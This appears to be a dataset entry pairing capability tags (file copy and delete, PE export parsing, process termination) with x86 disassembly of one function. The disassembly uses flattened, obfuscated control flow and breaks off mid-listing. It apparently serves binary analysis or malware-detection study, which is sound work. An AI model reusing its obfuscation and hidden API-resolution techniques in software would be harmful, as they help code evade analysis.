Function at 0x432c80
Capabilities:
Accept command line arguments
Copy file
Delete file
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x2598
call fcn.00419bf0
mov eax, 0
mov ecx, 0xa
lea edx, [esp + 0x74a]
mov esi, 0x10
lea edi, [esp + 0x754]
lea ebx, [esp + 0x764]
mov dword [esp + 0x6bc], eax
mov eax, 0x28
mov dword [esp + 0x6b8], eax
lea eax, [esp + 0x774]
mov dword [esp + 0x6b4], eax
mov eax, 0xc8
mov dword [esp + 0x6b0], eax
lea eax, [esp + 0x79c]
mov dword [esp + 0x6ac], eax
mov eax, 0x20a
mov dword [esp + 0x6a8], eax
lea eax, [esp + 0x864]
mov dword [esp + 0x6a4], eax
lea eax, [esp + 0xc78]
mov dword [esp + 0x6a0], eax
lea eax, [esp + 0xe82]
mov dword [esp + 0x69c], eax
lea eax, [esp + 0x108c]
mov dword [esp + 0x698], eax
lea eax, [esp + 0x1296]
mov dword [esp + 0x694], eax
lea eax, [esp + 0x14a0]
mov dword [esp + 0x690], eax
lea eax, [esp + 0x16aa]
mov dword [esp + 0x68c], eax
lea eax, [esp + 0x18b4]
mov dword [esp + 0x688], eax
lea eax, [esp + 0x1abe]
mov dword [esp + 0x684], eax
lea eax, [esp + 0x1cc8]
mov dword [esp + 0x680], eax
lea eax, [esp + 0x1ed2]
mov dword [esp + 0x67c], eax
lea eax, [esp + 0x20dc]
mov dword [esp + 0x678], eax
lea eax, [esp + 0x22e6]
mov dword [esp + 0x674], eax
mov eax, 0x3c
mov dword [esp + 0x670], eax
lea eax, [esp + 0x2530]
mov dword [esp + 0x257c], 0
mov dword [esp + 0x2578], 0
mov dword [esp + 0x2574], 0
mov dword [esp + 0x2570], 0
mov dword [esp + 0x256c], 0
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x3c
mov dword [esp + 0x66c], ebx
mov dword [esp + 0x668], ecx
mov dword [esp + 0x664], edx
mov dword [esp + 0x660], esi
mov dword [esp + 0x65c], edi
call fcn.00419b20
mov dword [esp + 0x24f4], 0
mov dword [esp + 0x24f0], 0
mov eax, dword [esp + 0x674]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x678]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x67c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x680]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x684]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x688]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x68c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x690]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x694]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x698]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x69c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x6a0]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x6a4]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00419b20
mov eax, dword [esp + 0x6ac]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc8
call fcn.00419b20
mov eax, dword [esp + 0x6b4]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
call fcn.00419b20
mov eax, dword [esp + 0x66c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00419b20
mov eax, dword [esp + 0x65c]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00419b20
mov eax, dword [esp + 0x664]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xa
call fcn.00419b20
mov dword [esp + 0x734], 0
mov dword [esp + 0x730], 0
mov dword [esp + 0x724], 0
mov dword [esp + 0x720], 0xffffffff
call fcn.0043af00
mov dword [esp + 0x2584], eax
mov dword [esp + 0x6c0], 0x8baf366
mov eax, dword [esp + 0x6c0]
mov ecx, eax
sub ecx, 0x8080cb55
mov dword [esp + 0x658], eax
mov dword [esp + 0x654], ecx
jg 0x433109
jmp 0x4330eb
mov eax, dword [esp + 0x658]
sub eax, 0x8024025e
mov dword [esp + 0x650], eax
je 0x435062
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x865058f8
mov dword [esp + 0x64c], eax
jg 0x433145
jmp 0x433127
mov eax, dword [esp + 0x658]
sub eax, 0x8080cb56
mov dword [esp + 0x648], eax
je 0x436bcb
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x87b44145
mov dword [esp + 0x644], eax
jg 0x433181
jmp 0x433163
mov eax, dword [esp + 0x658]
sub eax, 0x865058f9
mov dword [esp + 0x640], eax
je 0x434bed
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x8a931c09
mov dword [esp + 0x63c], eax
jg 0x4331bd
jmp 0x43319f
mov eax, dword [esp + 0x658]
sub eax, 0x87b44146
mov dword [esp + 0x638], eax
je 0x436798
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x8eb2902a
mov dword [esp + 0x634], eax
jg 0x4331f9
jmp 0x4331db
mov eax, dword [esp + 0x658]
sub eax, 0x8a931c0a
mov dword [esp + 0x630], eax
je 0x434b2b
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x91a0bba8
mov dword [esp + 0x62c], eax
jg 0x433235
jmp 0x433217
mov eax, dword [esp + 0x658]
sub eax, 0x8eb2902b
mov dword [esp + 0x628], eax
je 0x4369c2
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x9450f803
mov dword [esp + 0x624], eax
jg 0x433271
jmp 0x433253
mov eax, dword [esp + 0x658]
sub eax, 0x91a0bba9
mov dword [esp + 0x620], eax
je 0x4370cd
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x953698ed
mov dword [esp + 0x61c], eax
jg 0x4332ad
jmp 0x43328f
mov eax, dword [esp + 0x658]
sub eax, 0x9450f804
mov dword [esp + 0x618], eax
je 0x434b1a
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x961575ff
mov dword [esp + 0x614], eax
jg 0x4332e9
jmp 0x4332cb
mov eax, dword [esp + 0x658]
sub eax, 0x953698ee
mov dword [esp + 0x610], eax
je 0x436a6c
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x9e0c2d03
mov dword [esp + 0x60c], eax
jg 0x433325
jmp 0x433307
mov eax, dword [esp + 0x658]
sub eax, 0x96157600
mov dword [esp + 0x608], eax
je 0x436ea8
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa1bd6a2b
mov dword [esp + 0x604], eax
jg 0x433361
jmp 0x433343
mov eax, dword [esp + 0x658]
sub eax, 0x9e0c2d04
mov dword [esp + 0x600], eax
je 0x436490
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa29b9619
mov dword [esp + 0x5fc], eax
jg 0x43339d
jmp 0x43337f
mov eax, dword [esp + 0x658]
sub eax, 0xa1bd6a2c
mov dword [esp + 0x5f8], eax
je 0x437033
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa2fc6fbc
mov dword [esp + 0x5f4], eax
jg 0x4333d9
jmp 0x4333bb
mov eax, dword [esp + 0x658]
sub eax, 0xa29b961a
mov dword [esp + 0x5f0], eax
je 0x437517
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa436f07b
mov dword [esp + 0x5ec], eax
jg 0x433415
jmp 0x4333f7
mov eax, dword [esp + 0x658]
sub eax, 0xa2fc6fbd
mov dword [esp + 0x5e8], eax
je 0x43788a
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa4709b0b
mov dword [esp + 0x5e4], eax
jg 0x433451
jmp 0x433433
mov eax, dword [esp + 0x658]
sub eax, 0xa436f07c
mov dword [esp + 0x5e0], eax
je 0x43767a
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa5846038
mov dword [esp + 0x5dc], eax
jg 0x43348d
jmp 0x43346f
mov eax, dword [esp + 0x658]
sub eax, 0xa4709b0c
mov dword [esp + 0x5d8], eax
je 0x435402
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xa8b03300
mov dword [esp + 0x5d4], eax
jg 0x4334c9
jmp 0x4334ab
mov eax, dword [esp + 0x658]
sub eax, 0xa5846039
mov dword [esp + 0x5d0], eax
je 0x437321
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xacb3e901
mov dword [esp + 0x5cc], eax
jg 0x433505
jmp 0x4334e7
mov eax, dword [esp + 0x658]
sub eax, 0xa8b03301
mov dword [esp + 0x5c8], eax
je 0x4371d0
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xae4cf5b1
mov dword [esp + 0x5c4], eax
jg 0x433541
jmp 0x433523
mov eax, dword [esp + 0x658]
sub eax, 0xacb3e902
mov dword [esp + 0x5c0], eax
je 0x434ddf
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xb0f3289b
mov dword [esp + 0x5bc], eax
jg 0x43357d
jmp 0x43355f
mov eax, dword [esp + 0x658]
sub eax, 0xae4cf5b2
mov dword [esp + 0x5b8], eax
je 0x435363
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xb38bca85
mov dword [esp + 0x5b4], eax
jg 0x4335b9
jmp 0x43359b
mov eax, dword [esp + 0x658]
sub eax, 0xb0f3289c
mov dword [esp + 0x5b0], eax
je 0x436d0e
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xb84ec4c4
mov dword [esp + 0x5ac], eax
jg 0x4335f5
jmp 0x4335d7
mov eax, dword [esp + 0x658]
sub eax, 0xb38bca86
mov dword [esp + 0x5a8], eax
je 0x4374dd
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7ff87b4d
mov dword [esp + 0x5a4], eax
jg 0x434ad1
jmp 0x433613
mov eax, dword [esp + 0x658]
sub eax, 0xb871099a
mov dword [esp + 0x5a0], eax
jg 0x43364f
jmp 0x433631
mov eax, dword [esp + 0x658]
sub eax, 0xb84ec4c5
mov dword [esp + 0x59c], eax
je 0x436fd2
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xbcdbcdfa
mov dword [esp + 0x598], eax
jg 0x43368b
jmp 0x43366d
mov eax, dword [esp + 0x658]
sub eax, 0xb871099b
mov dword [esp + 0x594], eax
je 0x4371df
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xbe92d1f5
mov dword [esp + 0x590], eax
jg 0x4336c7
jmp 0x4336a9
mov eax, dword [esp + 0x658]
sub eax, 0xbcdbcdfb
mov dword [esp + 0x58c], eax
je 0x437702
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xc0c27298
mov dword [esp + 0x588], eax
jg 0x433703
jmp 0x4336e5
mov eax, dword [esp + 0x658]
sub eax, 0xbe92d1f6
mov dword [esp + 0x584], eax
je 0x434d76
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xc2c39b83
mov dword [esp + 0x580], eax
jg 0x43373f
jmp 0x433721
mov eax, dword [esp + 0x658]
sub eax, 0xc0c27299
mov dword [esp + 0x57c], eax
je 0x434c57
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xc3abff53
mov dword [esp + 0x578], eax
jg 0x43377b
jmp 0x43375d
mov eax, dword [esp + 0x658]
sub eax, 0xc2c39b84
mov dword [esp + 0x574], eax
je 0x437182
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xc472be2f
mov dword [esp + 0x570], eax
jg 0x4337b7
jmp 0x433799
mov eax, dword [esp + 0x658]
sub eax, 0xc3abff54
mov dword [esp + 0x56c], eax
je 0x435374
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xcb09e7ab
mov dword [esp + 0x568], eax
jg 0x4337f3
jmp 0x4337d5
mov eax, dword [esp + 0x658]
sub eax, 0xc472be30
mov dword [esp + 0x564], eax
je 0x434fe7
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xcc5861f7
mov dword [esp + 0x560], eax
jg 0x43382f
jmp 0x433811
mov eax, dword [esp + 0x658]
sub eax, 0xcb09e7ac
mov dword [esp + 0x55c], eax
je 0x436b90
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xce79a24e
mov dword [esp + 0x558], eax
jg 0x43386b
jmp 0x43384d
mov eax, dword [esp + 0x658]
sub eax, 0xcc5861f8
mov dword [esp + 0x554], eax
je 0x43517d
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xcf0eaf07
mov dword [esp + 0x550], eax
jg 0x4338a7
jmp 0x433889
mov eax, dword [esp + 0x658]
sub eax, 0xce79a24f
mov dword [esp + 0x54c], eax
je 0x436faf
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd170e30c
mov dword [esp + 0x548], eax
jg 0x4338e3
jmp 0x4338c5
mov eax, dword [esp + 0x658]
sub eax, 0xcf0eaf08
mov dword [esp + 0x544], eax
je 0x435412
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd1c96427
mov dword [esp + 0x540], eax
jg 0x43391f
jmp 0x433901
mov eax, dword [esp + 0x658]
sub eax, 0xd170e30d
mov dword [esp + 0x53c], eax
je 0x4371ef
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd26a81e2
mov dword [esp + 0x538], eax
jg 0x43395b
jmp 0x43393d
mov eax, dword [esp + 0x658]
sub eax, 0xd1c96428
mov dword [esp + 0x534], eax
je 0x4371a0
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd2e3653a
mov dword [esp + 0x530], eax
jg 0x433997
jmp 0x433979
mov eax, dword [esp + 0x658]
sub eax, 0xd26a81e3
mov dword [esp + 0x52c], eax
je 0x4350a1
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd5bd53d5
mov dword [esp + 0x528], eax
jg 0x4339d3
jmp 0x4339b5
mov eax, dword [esp + 0x658]
sub eax, 0xd2e3653b
mov dword [esp + 0x524], eax
je 0x436455
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd7b7e30e
mov dword [esp + 0x520], eax
jg 0x433a0f
jmp 0x4339f1
mov eax, dword [esp + 0x658]
sub eax, 0xd5bd53d6
mov dword [esp + 0x51c], eax
je 0x436e85
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xd85c7c32
mov dword [esp + 0x518], eax
jg 0x433a4b
jmp 0x433a2d
mov eax, dword [esp + 0x658]
sub eax, 0xd7b7e30f
mov dword [esp + 0x514], eax
je 0x4376b2
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xdf2ca584
mov dword [esp + 0x510], eax
jg 0x433a87
jmp 0x433a69
mov eax, dword [esp + 0x658]
sub eax, 0xd85c7c33
mov dword [esp + 0x50c], eax
je 0x436f49
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xe0613194
mov dword [esp + 0x508], eax
jg 0x433ac3
jmp 0x433aa5
mov eax, dword [esp + 0x658]
sub eax, 0xdf2ca585
mov dword [esp + 0x504], eax
je 0x434b3c
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xe19ff7a4
mov dword [esp + 0x500], eax
jg 0x433aff
jmp 0x433ae1
mov eax, dword [esp + 0x658]
sub eax, 0xe0613195
mov dword [esp + 0x4fc], eax
je 0x437182
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xe30bda45
mov dword [esp + 0x4f8], eax
jg 0x433b3b
jmp 0x433b1d
mov eax, dword [esp + 0x658]
sub eax, 0xe19ff7a5
mov dword [esp + 0x4f4], eax
je 0x436f86
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xe3ac464c
mov dword [esp + 0x4f0], eax
jg 0x433b77
jmp 0x433b59
mov eax, dword [esp + 0x658]
sub eax, 0xe30bda46
mov dword [esp + 0x4ec], eax
je 0x434ecf
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xe713bc98
mov dword [esp + 0x4e8], eax
jg 0x433bb3
jmp 0x433b95
mov eax, dword [esp + 0x658]
sub eax, 0xe3ac464d
mov dword [esp + 0x4e4], eax
je 0x437868
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xf02d7fac
mov dword [esp + 0x4e0], eax
jg 0x433bef
jmp 0x433bd1
mov eax, dword [esp + 0x658]
sub eax, 0xe713bc99
mov dword [esp + 0x4dc], eax
je 0x4353bd
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xf52c8a24
mov dword [esp + 0x4d8], eax
jg 0x433c2b
jmp 0x433c0d
mov eax, dword [esp + 0x658]
sub eax, 0xf02d7fad
mov dword [esp + 0x4d4], eax
je 0x437070
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xf910428d
mov dword [esp + 0x4d0], eax
jg 0x433c67
jmp 0x433c49
mov eax, dword [esp + 0x658]
sub eax, 0xf52c8a25
mov dword [esp + 0x4cc], eax
je 0x436987
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xf9e23e25
mov dword [esp + 0x4c8], eax
jg 0x433ca3
jmp 0x433c85
mov eax, dword [esp + 0x658]
sub eax, 0xf910428e
mov dword [esp + 0x4c4], eax
je 0x435595
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7fd18bbf
mov dword [esp + 0x4c0], eax
jg 0x434ab3
jmp 0x433cc1
mov eax, dword [esp + 0x658]
sub eax, 0x7fb4831f
mov dword [esp + 0x4bc], eax
jg 0x434a95
jmp 0x433cdf
mov eax, dword [esp + 0x658]
sub eax, 0x7f912bf8
mov dword [esp + 0x4b8], eax
jg 0x434a77
jmp 0x433cfd
mov eax, dword [esp + 0x658]
sub eax, 0x7c7c68d6
mov dword [esp + 0x4b4], eax
jg 0x434a59
jmp 0x433d1b
mov eax, dword [esp + 0x658]
sub eax, 0x7be3834b
mov dword [esp + 0x4b0], eax
jg 0x434a3b
jmp 0x433d39
mov eax, dword [esp + 0x658]
sub eax, 0x7990517c
mov dword [esp + 0x4ac], eax
jg 0x434a1d
jmp 0x433d57
mov eax, dword [esp + 0x658]
sub eax, 0x7866571d
mov dword [esp + 0x4a8], eax
jg 0x4349ff
jmp 0x433d75
mov eax, dword [esp + 0x658]
sub eax, 0x779cbc83
mov dword [esp + 0x4a4], eax
jg 0x4349e1
jmp 0x433d93
mov eax, dword [esp + 0x658]
sub eax, 0x74cae289
mov dword [esp + 0x4a0], eax
jg 0x4349c3
jmp 0x433db1
mov eax, dword [esp + 0x658]
sub eax, 0xf9e97e7d
mov dword [esp + 0x49c], eax
jg 0x433ded
jmp 0x433dcf
mov eax, dword [esp + 0x658]
sub eax, 0xf9e23e26
mov dword [esp + 0x498], eax
je 0x437081
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xfa8bec26
mov dword [esp + 0x494], eax
jg 0x433e29
jmp 0x433e0b
mov eax, dword [esp + 0x658]
sub eax, 0xf9e97e7e
mov dword [esp + 0x490], eax
je 0x437527
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xfd3f0642
mov dword [esp + 0x48c], eax
jg 0x433e65
jmp 0x433e47
mov eax, dword [esp + 0x658]
sub eax, 0xfa8bec27
mov dword [esp + 0x488], eax
je 0x435353
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x26fb59e
mov dword [esp + 0x484], eax
jg 0x433ea1
jmp 0x433e83
mov eax, dword [esp + 0x658]
sub eax, 0xfd3f0643
mov dword [esp + 0x480], eax
je 0x43782f
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x28b03f4
mov dword [esp + 0x47c], eax
jg 0x433edd
jmp 0x433ebf
mov eax, dword [esp + 0x658]
sub eax, 0x26fb59f
mov dword [esp + 0x478], eax
je 0x436b6d
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x4ce292e
mov dword [esp + 0x474], eax
jg 0x433f19
jmp 0x433efb
mov eax, dword [esp + 0x658]
sub eax, 0x28b03f5
mov dword [esp + 0x470], eax
je 0x436764
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7214318
mov dword [esp + 0x46c], eax
jg 0x433f55
jmp 0x433f37
mov eax, dword [esp + 0x658]
sub eax, 0x4ce292f
mov dword [esp + 0x468], eax
je 0x436f75
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7375a45
mov dword [esp + 0x464], eax
jg 0x433f91
jmp 0x433f73
mov eax, dword [esp + 0x658]
sub eax, 0x7214319
mov dword [esp + 0x460], eax
je 0x4355a5
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x7690d95
mov dword [esp + 0x45c], eax
jg 0x433fcd
jmp 0x433faf
mov eax, dword [esp + 0x658]
sub eax, 0x7375a46
mov dword [esp + 0x458], eax
je 0x436f25
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x87ac493
mov dword [esp + 0x454], eax
jg 0x434009
jmp 0x433feb
mov eax, dword [esp + 0x658]
sub eax, 0x7690d96
mov dword [esp + 0x450], eax
je 0x4364fb
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x8baf365
mov dword [esp + 0x44c], eax
jg 0x434045
jmp 0x434027
mov eax, dword [esp + 0x658]
sub eax, 0x87ac494
mov dword [esp + 0x448], eax
je 0x436ffe
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x95c93eb
mov dword [esp + 0x444], eax
jg 0x434081
jmp 0x434063
mov eax, dword [esp + 0x658]
sub eax, 0x8baf366
mov dword [esp + 0x440], eax
je 0x434af4
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x9d322d8
mov dword [esp + 0x43c], eax
jg 0x4340bd
jmp 0x43409f
mov eax, dword [esp + 0x658]
sub eax, 0x95c93ec
mov dword [esp + 0x438], eax
je 0x434ebe
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0xf760e0d
mov dword [esp + 0x434], eax
jg 0x4340f9
jmp 0x4340db
mov eax, dword [esp + 0x658]
sub eax, 0x9d322d9
mov dword [esp + 0x430], eax
je 0x43714e
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x111b089c
mov dword [esp + 0x42c], eax
jg 0x434135
jmp 0x434117
mov eax, dword [esp + 0x658]
sub eax, 0xf760e0e
mov dword [esp + 0x428], eax
je 0x434f98
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x12c88741
mov dword [esp + 0x424], eax
jg 0x434171
jmp 0x434153
mov eax, dword [esp + 0x658]
sub eax, 0x111b089d
mov dword [esp + 0x420], eax
je 0x434b4c
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x16064cbe
mov dword [esp + 0x41c], eax
jg 0x4341ad
jmp 0x43418f
mov eax, dword [esp + 0x658]
sub eax, 0x12c88742
mov dword [esp + 0x418], eax
je 0x434ef9
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x1613fc2e
mov dword [esp + 0x414], eax
jg 0x4341e9
jmp 0x4341cb
mov eax, dword [esp + 0x658]
sub eax, 0x16064cbf
mov dword [esp + 0x410], eax
je 0x435423
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x1637a4f5
mov dword [esp + 0x40c], eax
jg 0x434225
jmp 0x434207
mov eax, dword [esp + 0x658]
sub eax, 0x1613fc2f
mov dword [esp + 0x408], eax
je 0x437060
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x16d5361b
mov dword [esp + 0x404], eax
jg 0x434261
jmp 0x434243
mov eax, dword [esp + 0x658]
sub eax, 0x1637a4f6
mov dword [esp + 0x400], eax
je 0x436afd
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x17135cc4
mov dword [esp + 0x3fc], eax
jg 0x43429d
jmp 0x43427f
mov eax, dword [esp + 0x658]
sub eax, 0x16d5361c
mov dword [esp + 0x3f8], eax
je 0x436536
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x1736052a
mov dword [esp + 0x3f4], eax
jg 0x4342d9
jmp 0x4342bb
mov eax, dword [esp + 0x658]
sub eax, 0x17135cc5
mov dword [esp + 0x3f0], eax
je 0x434e9b
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x188a3cb0
mov dword [esp + 0x3ec], eax
jg 0x434315
jmp 0x4342f7
mov eax, dword [esp + 0x658]
sub eax, 0x1736052b
mov dword [esp + 0x3e8], eax
je 0x43516c
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x18d51ffc
mov dword [esp + 0x3e4], eax
jg 0x434351
jmp 0x434333
mov eax, dword [esp + 0x658]
sub eax, 0x188a3cb1
mov dword [esp + 0x3e0], eax
je 0x436d30
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x19599fb1
mov dword [esp + 0x3dc], eax
jg 0x43438d
jmp 0x43436f
mov eax, dword [esp + 0x658]
sub eax, 0x18d51ffd
mov dword [esp + 0x3d8], eax
je 0x437858
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x245dec83
mov dword [esp + 0x3d4], eax
jg 0x4343c9
jmp 0x4343ab
mov eax, dword [esp + 0x658]
sub eax, 0x19599fb2
mov dword [esp + 0x3d0], eax
je 0x434c10
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x27f33c5a
mov dword [esp + 0x3cc], eax
jg 0x434405
jmp 0x4343e7
mov eax, dword [esp + 0x658]
sub eax, 0x245dec84
mov dword [esp + 0x3c8], eax
je 0x434dce
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x2cb293d3
mov dword [esp + 0x3c4], eax
jg 0x434441
jmp 0x434423
mov eax, dword [esp + 0x658]
sub eax, 0x27f33c5b
mov dword [esp + 0x3c0], eax
je 0x434c82
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x2e7b26fa
mov dword [esp + 0x3bc], eax
jg 0x43447d
jmp 0x43445f
mov eax, dword [esp + 0x658]
sub eax, 0x2cb293d4
mov dword [esp + 0x3b8], eax
je 0x437022
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x34eed076
mov dword [esp + 0x3b4], eax
jg 0x4344b9
jmp 0x43449b
mov eax, dword [esp + 0x658]
sub eax, 0x2e7b26fb
mov dword [esp + 0x3b0], eax
je 0x4370aa
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x38f65481
mov dword [esp + 0x3ac], eax
jg 0x4344f5
jmp 0x4344d7
mov eax, dword [esp + 0x658]
sub eax, 0x34eed077
mov dword [esp + 0x3a8], eax
je 0x436729
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x3aafc19c
mov dword [esp + 0x3a4], eax
jg 0x434531
jmp 0x434513
mov eax, dword [esp + 0x658]
sub eax, 0x38f65482
mov dword [esp + 0x3a0], eax
je 0x43713e
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x3adf06b7
mov dword [esp + 0x39c], eax
jg 0x43456d
jmp 0x43454f
mov eax, dword [esp + 0x658]
sub eax, 0x3aafc19d
mov dword [esp + 0x398], eax
je 0x4367bf
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x3b8bf36f
mov dword [esp + 0x394], eax
jg 0x4345a9
jmp 0x43458b
mov eax, dword [esp + 0x658]
sub eax, 0x3adf06b8
mov dword [esp + 0x390], eax
je 0x4355c9
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x3fdedda1
mov dword [esp + 0x38c], eax
jg 0x4345e5
jmp 0x4345c7
mov eax, dword [esp + 0x658]
sub eax, 0x3b8bf370
mov dword [esp + 0x388], eax
je 0x43507d
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x42669324
mov dword [esp + 0x384], eax
jg 0x434621
jmp 0x434603
mov eax, dword [esp + 0x658]
sub eax, 0x3fdedda2
mov dword [esp + 0x380], eax
je 0x434b5d
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x43a1e676
mov dword [esp + 0x37c], eax
jg 0x43465d
jmp 0x43463f
mov eax, dword [esp + 0x658]
sub eax, 0x42669325
mov dword [esp + 0x378], eax
je 0x435013
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x43d5877c
mov dword [esp + 0x374], eax
jg 0x434699
jmp 0x43467b
mov eax, dword [esp + 0x658]
sub eax, 0x43a1e677
mov dword [esp + 0x370], eax
je 0x436d51
jmp 0x434aef
mov eax, dword [esp + 0x658]
sub eax, 0x45226f81
